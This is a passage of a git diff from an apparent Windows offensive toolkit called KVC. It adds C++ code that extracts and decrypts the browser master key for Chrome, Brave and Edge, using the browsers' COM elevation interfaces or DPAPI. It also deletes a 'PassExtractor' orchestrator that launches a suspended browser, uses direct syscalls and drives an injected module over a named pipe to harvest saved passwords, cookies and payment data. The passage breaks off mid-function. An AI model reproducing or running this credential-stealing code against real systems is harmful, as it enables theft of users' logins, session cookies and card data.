+ BCRYPT_INIT_AUTH_MODE_INFO(authInfo); + authInfo.pbNonce = const_cast(iv); + authInfo.cbNonce = GCM_IV_LENGTH; + authInfo.pbTag = const_cast(tag); + authInfo.cbTag = GCM_TAG_LENGTH; + + // Perform decryption + std::vector plain(ct_len > 0 ? ct_len : 1); + ULONG outLen = 0; + + NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast(ct), ct_len, &authInfo, + nullptr, 0, plain.data(), static_cast(plain.size()), + &outLen, 0); + if (!NT_SUCCESS(status)) + return {}; + + plain.resize(outLen); + return plain; + } + + // Extracts encrypted master key from browser's Local State file + // Handles both APPB (COM) and DPAPI blob formats + std::vector GetEncryptedMasterKey(const fs::path& localStatePath) + { + std::ifstream f(localStatePath, std::ios::binary); + if (!f) + throw std::runtime_error("Could not open Local State file."); + + std::string content((std::istreambuf_iterator(f)), std::istreambuf_iterator()); + + // Search for encrypted key in JSON + std::string tag = "\"app_bound_encrypted_key\":\""; + size_t pos = content.find(tag); + + if (pos == std::string::npos) { + tag = "\"encrypted_key\":\""; + pos = content.find(tag); + if (pos == std::string::npos) + throw std::runtime_error("Encrypted key not found in Local State."); + } + + pos += tag.length(); + size_t end_pos = content.find('"', pos); + if (end_pos == std::string::npos) + throw std::runtime_error("Malformed encrypted key format."); + + auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos)); + if (!optDecoded) + throw std::runtime_error("Base64 decoding of encrypted key failed."); + + auto& decodedData = *optDecoded; + + // Check for APPB prefix (COM-encrypted key) + if (decodedData.size() >= sizeof(CHROME_KEY_PREFIX) && + memcmp(decodedData.data(), CHROME_KEY_PREFIX, sizeof(CHROME_KEY_PREFIX)) == 0) + { + return {decodedData.begin() + sizeof(CHROME_KEY_PREFIX), decodedData.end()}; + } + // Check for DPAPI blob header (0x01000000) + else if (decodedData.size() >= 4 && + decodedData[0] == 0x01 && decodedData[1] == 0x00 && + decodedData[2] == 0x00 && decodedData[3] == 0x00) + { + return decodedData; + } + else + { + throw std::runtime_error("Unknown key format - not APPB or DPAPI blob."); + } + } + } + + BrowserManager::BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {} + + fs::path BrowserManager::getUserDataRoot() const + { + return Utils::GetLocalAppDataPath() / m_config.userDataSubPath; + } + + MasterKeyDecryptor::MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) {} + + MasterKeyDecryptor::~MasterKeyDecryptor() + { + if (m_comInitialized) + { + CoUninitialize(); + } + } + + // Decrypts master key using browser's COM elevation service + std::vector MasterKeyDecryptor::DecryptWithCOM(const Browser::Config& config, + const std::vector& encryptedKeyBlob) + { + BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast(encryptedKeyBlob.data()), + static_cast(encryptedKeyBlob.size())); + if (!bstrEncKey) + throw std::runtime_error("Failed to allocate BSTR for encrypted key."); + + BSTR bstrPlainKey = nullptr; + HRESULT hr = E_FAIL; + DWORD comErr = 0; + + // Edge uses different COM interface than Chrome/Brave + if (config.name == "Edge") + { + Microsoft::WRL::ComPtr elevator; + hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); + if (SUCCEEDED(hr)) + { + CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); + hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); + } + } + else + { + Microsoft::WRL::ComPtr elevator; + hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); + if (SUCCEEDED(hr)) + { + CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); + hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); + } + } + + SysFreeString(bstrEncKey); + + // Validate decryption result + if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE) + { + if (bstrPlainKey) SysFreeString(bstrPlainKey); + std::ostringstream oss; + oss << "COM elevation decryption failed for " << config.name << ". HRESULT: 0x" + << std::hex << hr; + throw std::runtime_error(oss.str()); + } + + std::vector aesKey(Crypto::KEY_SIZE); + memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE); + SysFreeString(bstrPlainKey); + + return aesKey; + } + + // Decrypts master key using Windows DPAPI + // Used for Edge passwords when orchestrator provides pre-decrypted key + std::vector MasterKeyDecryptor::DecryptWithDPAPI(const fs::path& localStatePath) + { + auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath); + + DATA_BLOB inputBlob = { + static_cast(encryptedKeyBlob.size()), + encryptedKeyBlob.data() + }; + DATA_BLOB outputBlob = {}; + + BOOL result = CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr, + CRYPTPROTECT_UI_FORBIDDEN, &outputBlob); + + if (!result) + { + DWORD error = GetLastError(); + std::ostringstream oss; + oss << "DPAPI decryption failed. Error: 0x" << std::hex << error; + m_logger.Log("[-] " + oss.str()); + throw std::runtime_error(oss.str()); + } + + std::vector aesKey(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData); + LocalFree(outputBlob.pbData); + + if (aesKey.size() != Crypto::KEY_SIZE) + { + std::string errMsg = "Decrypted key size mismatch: " + std::to_string(aesKey.size()) + + ", expected: " + std::to_string(Crypto::KEY_SIZE); + m_logger.Log("[-] " + errMsg); + throw std::runtime_error(errMsg); + } + + return aesKey; + } + + // Main decryption entry point - selects strategy based on browser and data type + std::vector MasterKeyDecryptor::Decrypt(const Browser::Config& config, + const fs::path& localStatePath, + DataType dataType) + { + m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath)); + + // Edge passwords use DPAPI without process requirement + if (config.name == "Edge" && dataType == DataType::Passwords) + { + m_logger.Log("[*] Using DPAPI decryption for Edge passwords (no process required)"); + auto aesKey = DecryptWithDPAPI(localStatePath); + m_logger.Log("[+] Edge DPAPI decryption successful for passwords"); + return aesKey; + } + else + { + // All other scenarios use COM elevation + std::string dataTypeStr = "data"; + switch (dataType) { + case DataType::Cookies: dataTypeStr = "cookies"; break; + case DataType::Payments: dataTypeStr = "payments"; break; + case DataType::Passwords: dataTypeStr = "passwords"; break; + default: dataTypeStr = "data"; break; + } + + m_logger.Log("[*] Using COM elevation for " + config.name + " " + dataTypeStr); + + if (!m_comInitialized) + { + if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED))) + { + throw std::runtime_error("Failed to initialize COM library."); + } + m_comInitialized = true; + m_logger.Log("[+] COM library initialized (APARTMENTTHREADED)."); + } + + auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath); + m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server..."); + + auto aesKey = DecryptWithCOM(config, encryptedKeyBlob); + m_logger.Log("[+] " + config.name + " COM elevation decryption successful for " + dataTypeStr); + return aesKey; + } + } +} \ No newline at end of file diff --git a/kvc/BrowserCrypto.h b/kvc/BrowserCrypto.h new file mode 100644 index 0000000..080b583 --- /dev/null +++ b/kvc/BrowserCrypto.h @@ -0,0 +1,123 @@ +// BrowserCrypto.h - Cryptographic operations and browser-specific configurations +// Implements selective decryption strategy for different data types and browsers + +#ifndef BROWSER_CRYPTO_H +#define BROWSER_CRYPTO_H + +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +namespace SecurityComponents +{ + class PipeLogger; + + // Data type enumeration for selective decryption strategy + enum class DataType { + Passwords, // Use DPAPI for Edge passwords (no process required) + Cookies, // Use COM elevation for browser cookies + Payments, // Use COM elevation for payment information + All // Default behavior - use appropriate method per browser + }; + + // Browser-specific configuration and COM interface definitions + namespace Browser + { + struct Config + { + std::string name; + std::wstring processName; + CLSID clsid; + IID iid; + fs::path userDataSubPath; + }; + + const std::unordered_map& GetConfigs(); + Config GetConfigForCurrentProcess(); + } + + // Cryptographic operations for AES-GCM decryption and key management + namespace Crypto + { + constexpr size_t KEY_SIZE = 32; + constexpr size_t GCM_IV_LENGTH = 12; + constexpr size_t GCM_TAG_LENGTH = 16; + + std::vector DecryptGcm(const std::vector& key, const std::vector& blob); + std::vector GetEncryptedMasterKey(const fs::path& localStatePath); + } + + class BrowserManager + { + public: + BrowserManager(); + const Browser::Config& getConfig() const noexcept { return m_config; } + fs::path getUserDataRoot() const; + + private: + Browser::Config m_config; + }; + + // Master key decryptor with selective strategy per data type + class MasterKeyDecryptor + { + public: + explicit MasterKeyDecryptor(PipeLogger& logger); + ~MasterKeyDecryptor(); + + // Main decryption interface - intelligently chooses COM or DPAPI + std::vector Decrypt(const Browser::Config& config, const fs::path& localStatePath, DataType dataType = DataType::All); + + private: + PipeLogger& m_logger; + bool m_comInitialized = false; + + std::vector DecryptWithCOM(const Browser::Config& config, const std::vector& encryptedKeyBlob); + std::vector DecryptWithDPAPI(const fs::path& localStatePath); + }; +} + +// COM interface definitions +enum class ProtectionLevel +{ + None = 0, + PathValidationOld = 1, + PathValidation = 2, + Max = 3 +}; + +MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") +IOriginalBaseElevator : public IUnknown +{ +public: + virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; +}; + +MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6") +IEdgeElevatorBase_Placeholder : public IUnknown +{ +public: + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0; +}; + +MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") +IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder +{ +public: + virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; +}; + +MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B") +IEdgeElevatorFinal : public IEdgeIntermediateElevator {}; + +#endif // BROWSER_CRYPTO_H \ No newline at end of file diff --git a/kvc/BrowserOrchestrator.cpp b/kvc/BrowserOrchestrator.cpp deleted file mode 100644 index 357e2ac..0000000 --- a/kvc/BrowserOrchestrator.cpp +++ /dev/null @@ -1,1266 +0,0 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -// BrowserOrchestrator.cpp -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "syscalls.h" - -#pragma comment(lib, "Rpcrt4.lib") - -#ifndef IMAGE_FILE_MACHINE_AMD64 -#define IMAGE_FILE_MACHINE_AMD64 0x8664 -#endif - -#ifndef NT_SUCCESS -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#endif - -namespace -{ - constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000; - constexpr const char* APP_VERSION = "1.0.1"; - constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll"; - - namespace fs = std::filesystem; -} - -// Global security module path -std::string g_securityModulePath; - -namespace -{ - // RAII wrapper for Windows handles with syscall cleanup - struct HandleDeleter - { - void operator()(HANDLE h) const noexcept - { - if (h && h != INVALID_HANDLE_VALUE) - NtClose_syscall(h); - } - }; - using UniqueHandle = std::unique_ptr; - - namespace Utils - { - // C++23 Type-safe string conversion utilities - std::string u8string_to_string(const std::u8string& u8str) noexcept - { - return {reinterpret_cast(u8str.c_str()), u8str.size()}; - } - - std::string path_to_api_string(const fs::path& path) - { - return u8string_to_string(path.u8string()); - } - - // Convert wide string to UTF-8 for API compatibility - std::string WStringToUtf8(std::wstring_view w_sv) - { - if (w_sv.empty()) return {}; - - int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), - nullptr, 0, nullptr, nullptr); - std::string utf8_str(size_needed, '\0'); - WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), - &utf8_str[0], size_needed, nullptr, nullptr); - return utf8_str; - } - - // Format pointer as hex string for debugging - std::string PtrToHexStr(const void* ptr) noexcept - { - std::ostringstream oss; - oss << "0x" << std::hex << reinterpret_cast(ptr); - return oss.str(); - } - - // Format NTSTATUS as hex string - std::string NtStatusToString(NTSTATUS status) noexcept - { - std::ostringstream oss; - oss << "0x" << std::hex << status; - return oss.str(); - } - - // Generate unique named pipe identifier - std::wstring GenerateUniquePipeName() - { - UUID uuid; - UuidCreate(&uuid); - wchar_t* uuidStrRaw = nullptr; - UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw); - std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw); - RpcStringFreeW((RPC_WSTR*)&uuidStrRaw); - return pipeName; - } - - // Capitalize first letter of string - std::string Capitalize(const std::string& str) - { - if (str.empty()) return str; - std::string result = str; - result[0] = static_cast(std::toupper(static_cast(result[0]))); - return result; - } - } -} - -// Console output manager with colored text support -class Console -{ -public: - explicit Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE)) - { - CONSOLE_SCREEN_BUFFER_INFO consoleInfo; - GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo); - m_originalAttributes = consoleInfo.wAttributes; - } - - void displayBanner() const - { - SetColor(FOREGROUND_RED | FOREGROUND_INTENSITY); - std::cout << "PassExtractor x64 | " << APP_VERSION << " by WESMAR\n\n"; - ResetColor(); - } - - void printUsage() const - { - SetColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); - std::wcout << L"Usage:\n" - << L" kvc_pass.exe [options] \n\n" - << L"Options:\n" - << L" --output-path|-o Directory for output files (default: .\\output\\)\n" - << L" --verbose|-v Enable verbose debug output from the orchestrator\n" - << L" --help|-h Show this help message\n\n" - << L"Browser targets:\n" - << L" chrome - Extract from Google Chrome\n" - << L" brave - Extract from Brave Browser\n" - << L" edge - Extract from Microsoft Edge\n" - << L" all - Extract from all installed browsers\n\n" - << L"Required files:\n" - << L" " << SECURITY_MODULE_NAME << L" - Security module (same directory)\n" - << L" winsqlite3.dll - SQLite library (system32) or sqlite3.dll fallback\n"; - ResetColor(); - } - - void Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } - void Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); } - void Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); } - void Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } - - void Debug(const std::string& msg) const - { - if (m_verbose) - print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN); - } - - // Relay messages from security module with colored tags - void Relay(const std::string& message) const - { - size_t tagStart = message.find('['); - size_t tagEnd = message.find(']', tagStart); - - if (tagStart != std::string::npos && tagEnd != std::string::npos) - { - std::cout << message.substr(0, tagStart); - std::string tag = message.substr(tagStart, tagEnd - tagStart + 1); - - WORD color = m_originalAttributes; - if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY; - else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY; - else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; - else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; - - SetColor(color); - std::cout << tag; - ResetColor(); - std::cout << message.substr(tagEnd + 1) << std::endl; - } - else - { - std::cout << message << std::endl; - } - } - - bool m_verbose; - -private: - void print(const std::string& tag, const std::string& msg, WORD color) const - { - SetColor(color); - std::cout << tag; - ResetColor(); - std::cout << " " << msg << std::endl; - } - - void SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); } - void ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); } - - HANDLE m_hConsole; - WORD m_originalAttributes; -}; - -// Registry-based browser installation path resolver -class BrowserPathResolver -{ -public: - explicit BrowserPathResolver(const Console& console) : m_console(console) {} - - // Resolve browser executable path from Windows Registry - std::wstring resolve(const std::wstring& browserExeName) - { - m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName)); - - const std::wstring registryPaths[] = { - L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName, - L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName - }; - - for (const auto& regPath : registryPaths) - { - std::wstring path = queryRegistryDefaultValue(regPath); - if (!path.empty() && fs::exists(path)) - { - m_console.Debug("Found at: " + Utils::WStringToUtf8(path)); - return path; - } - } - - m_console.Debug("Not found in Registry"); - return L""; - } - - // Enumerate all supported browsers installed on the system - std::vector> findAllInstalledBrowsers() - { - std::vector> installedBrowsers; - - const std::pair supportedBrowsers[] = { - {L"chrome", L"chrome.exe"}, - {L"edge", L"msedge.exe"}, - {L"brave", L"brave.exe"} - }; - - m_console.Debug("Enumerating installed browsers..."); - - for (const auto& [browserType, exeName] : supportedBrowsers) - { - std::wstring path = resolve(exeName); - if (!path.empty()) - { - installedBrowsers.push_back({browserType, path}); - m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) + - " at: " + Utils::WStringToUtf8(path)); - } - } - - if (installedBrowsers.empty()) - m_console.Warn("No supported browsers found installed on this system"); - else - m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process"); - - return installedBrowsers; - } - -private: - // Query registry key default value using direct syscalls - std::wstring queryRegistryDefaultValue(const std::wstring& keyPath) - { - std::vector pathBuffer(keyPath.begin(), keyPath.end()); - pathBuffer.push_back(L'\0'); - - UNICODE_STRING_SYSCALLS keyName; - keyName.Buffer = pathBuffer.data(); - keyName.Length = static_cast(keyPath.length() * sizeof(wchar_t)); - keyName.MaximumLength = static_cast(pathBuffer.size() * sizeof(wchar_t)); - - OBJECT_ATTRIBUTES objAttr; - InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr); - - HANDLE hKey = nullptr; - NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr); - - if (!NT_SUCCESS(status)) - { - if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND - m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status)); - return L""; - } - - UniqueHandle keyGuard(hKey); - - UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr}; - ULONG bufferSize = 4096; - std::vector buffer(bufferSize); - ULONG resultLength = 0; - - status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, - buffer.data(), bufferSize, &resultLength); - - // Handle buffer size insufficient - if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW) - { - buffer.resize(resultLength); - bufferSize = resultLength; - status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, - buffer.data(), bufferSize, &resultLength); - } - - if (!NT_SUCCESS(status)) - return L""; - - auto kvpi = reinterpret_cast(buffer.data()); - - // Validate registry value type and size - if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ) - return L""; - if (kvpi->DataLength < sizeof(wchar_t) * 2) - return L""; - - size_t charCount = kvpi->DataLength / sizeof(wchar_t); - std::wstring path(reinterpret_cast(kvpi->Data), charCount); - - // Remove null terminators - while (!path.empty() && path.back() == L'\0') - path.pop_back(); - - if (path.empty()) - return L""; - - // Expand environment variables if needed - if (kvpi->Type == REG_EXPAND_SZ) - { - std::vector expanded(MAX_PATH * 2); - DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(), - static_cast(expanded.size())); - if (size > 0 && size <= expanded.size()) - path = std::wstring(expanded.data()); - } - - return path; - } - - const Console& m_console; -}; - -// Application configuration management -struct Configuration -{ - bool verbose = false; - fs::path outputPath; - std::wstring browserType; - std::wstring browserProcessName; - std::wstring browserDefaultExePath; - std::string browserDisplayName; - - // Parse command line arguments and create configuration - static std::optional CreateFromArgs(int argc, wchar_t* argv[], const Console& console) - { - Configuration config; - fs::path customOutputPath; - - // Parse command line arguments - for (int i = 1; i < argc; ++i) - { - std::wstring_view arg = argv[i]; - if (arg == L"--verbose" || arg == L"-v") - config.verbose = true; - else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) - customOutputPath = argv[++i]; - else if (arg == L"--help" || arg == L"-h") - { - console.printUsage(); - return std::nullopt; - } - else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-') - config.browserType = arg; - else - { - console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg)); - return std::nullopt; - } - } - - if (config.browserType.empty()) - { - console.printUsage(); - return std::nullopt; - } - - // Normalize browser type to lowercase - std::transform(config.browserType.begin(), config.browserType.end(), - config.browserType.begin(), ::towlower); - - static const std::map browserExeMap = { - {L"chrome", L"chrome.exe"}, - {L"brave", L"brave.exe"}, - {L"edge", L"msedge.exe"} - }; - - auto it = browserExeMap.find(config.browserType); - if (it == browserExeMap.end()) - { - console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType)); - return std::nullopt; - } - - config.browserProcessName = it->second; - - // Resolve browser installation path through registry - BrowserPathResolver resolver(console); - config.browserDefaultExePath = resolver.resolve(config.browserProcessName); - - if (config.browserDefaultExePath.empty()) - { - console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) + " installation in Registry"); - console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) + " is properly installed"); - return std::nullopt; - } - - config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType)); - config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" : fs::absolute(customOutputPath); - - return config; - } -}; - -// Target browser process lifecycle management -class TargetProcess -{ -public: - TargetProcess(const Configuration& config, const Console& console) : m_config(config), m_console(console) {} - - // Create suspended browser process for security analysis - void createSuspended() - { - m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process."); - m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath)); - - STARTUPINFOW si{}; - PROCESS_INFORMATION pi{}; - si.cb = sizeof(si); - - if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr, - FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) - throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError())); - - m_hProcess.reset(pi.hProcess); - m_hThread.reset(pi.hThread); - m_pid = pi.dwProcessId; - - m_console.Debug("Created suspended process PID: " + std::to_string(m_pid)); - checkArchitecture(); - } - - // Terminate browser process via direct syscall - void terminate() - { - if (m_hProcess) - { - m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall."); - NtTerminateProcess_syscall(m_hProcess.get(), 0); - m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator."); - } - } - - HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); } - -private: - // Verify target process architecture compatibility - void checkArchitecture() - { - USHORT processArch = 0, nativeMachine = 0; - auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress( - GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2"); - if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine)) - throw std::runtime_error("Failed to determine target process architecture."); - - m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch; - constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64; - - if (m_arch != orchestratorArch) - throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " + - std::string(getArchName(m_arch))); - - m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch))); - } - - const char* getArchName(USHORT arch) const noexcept - { - switch (arch) - { - case IMAGE_FILE_MACHINE_AMD64: return "x64"; - case IMAGE_FILE_MACHINE_I386: return "x86"; - default: return "Unknown"; - } - } - - const Configuration& m_config; - const Console& m_console; - DWORD m_pid = 0; - UniqueHandle m_hProcess; - UniqueHandle m_hThread; - USHORT m_arch = 0; -}; - -// Named pipe communication with security module -class PipeCommunicator -{ -public: - // Data extraction statistics collected from module - struct ExtractionStats - { - int totalCookies = 0; - int totalPasswords = 0; - int totalPayments = 0; - int profileCount = 0; - std::string aesKey; - }; - - PipeCommunicator(const std::wstring& pipeName, const Console& console) : m_pipeName(pipeName), m_console(console) {} - - // Create named pipe server for module communication - void create() - { - m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX, - PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, - 1, 4096, 4096, 0, nullptr)); - if (!m_pipeHandle) - throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError())); - - m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName)); - } - - // Wait for security module to establish connection - void waitForClient() - { - m_console.Debug("Waiting for security module to connect to named pipe."); - if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED) - throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError())); - - m_console.Debug("Security module connected to named pipe."); - } - - // Send initial configuration to security module - void sendInitialData(bool isVerbose, const fs::path& outputPath) - { - writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE"); - writeMessage(Utils::path_to_api_string(outputPath)); - } - - // Relay messages from security module and parse statistics - void relayMessages() - { - m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")"); - - if (m_console.m_verbose) - std::cout << std::endl; - - const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__"; - DWORD startTime = GetTickCount(); - std::string accumulatedData; - char buffer[4096]; - bool completed = false; - - while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS)) - { - DWORD bytesAvailable = 0; - if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr)) - { - if (GetLastError() == ERROR_BROKEN_PIPE) - break; - m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError())); - break; - } - - if (bytesAvailable == 0) - { - Sleep(100); - continue; - } - - DWORD bytesRead = 0; - if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) - { - if (GetLastError() == ERROR_BROKEN_PIPE) - break; - continue; - } - - accumulatedData.append(buffer, bytesRead); - - // Process null-terminated messages - size_t messageStart = 0; - size_t nullPos; - while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos) - { - std::string message = accumulatedData.substr(messageStart, nullPos - messageStart); - messageStart = nullPos + 1; - - if (message == moduleCompletionSignal) - { - m_console.Debug("Security module completion signal received."); - completed = true; - break; - } - - parseExtractionMessage(message); - - if (!message.empty() && m_console.m_verbose) - m_console.Relay(message); - } - - if (completed) - break; - - accumulatedData.erase(0, messageStart); - } - - if (m_console.m_verbose) - std::cout << std::endl; - - m_console.Debug("Security module signaled completion or pipe interaction ended."); - } - - const ExtractionStats& getStats() const noexcept { return m_stats; } - const std::wstring& getName() const noexcept { return m_pipeName; } - -private: - // Write message to named pipe - void writeMessage(const std::string& msg) - { - DWORD bytesWritten = 0; - if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast(msg.length() + 1), &bytesWritten, nullptr) || - bytesWritten != (msg.length() + 1)) - throw std::runtime_error("WriteFile to pipe failed for message: " + msg); - - m_console.Debug("Sent message to pipe: " + msg); - } - - // Parse extraction statistics from security module messages - void parseExtractionMessage(const std::string& message) - { - auto 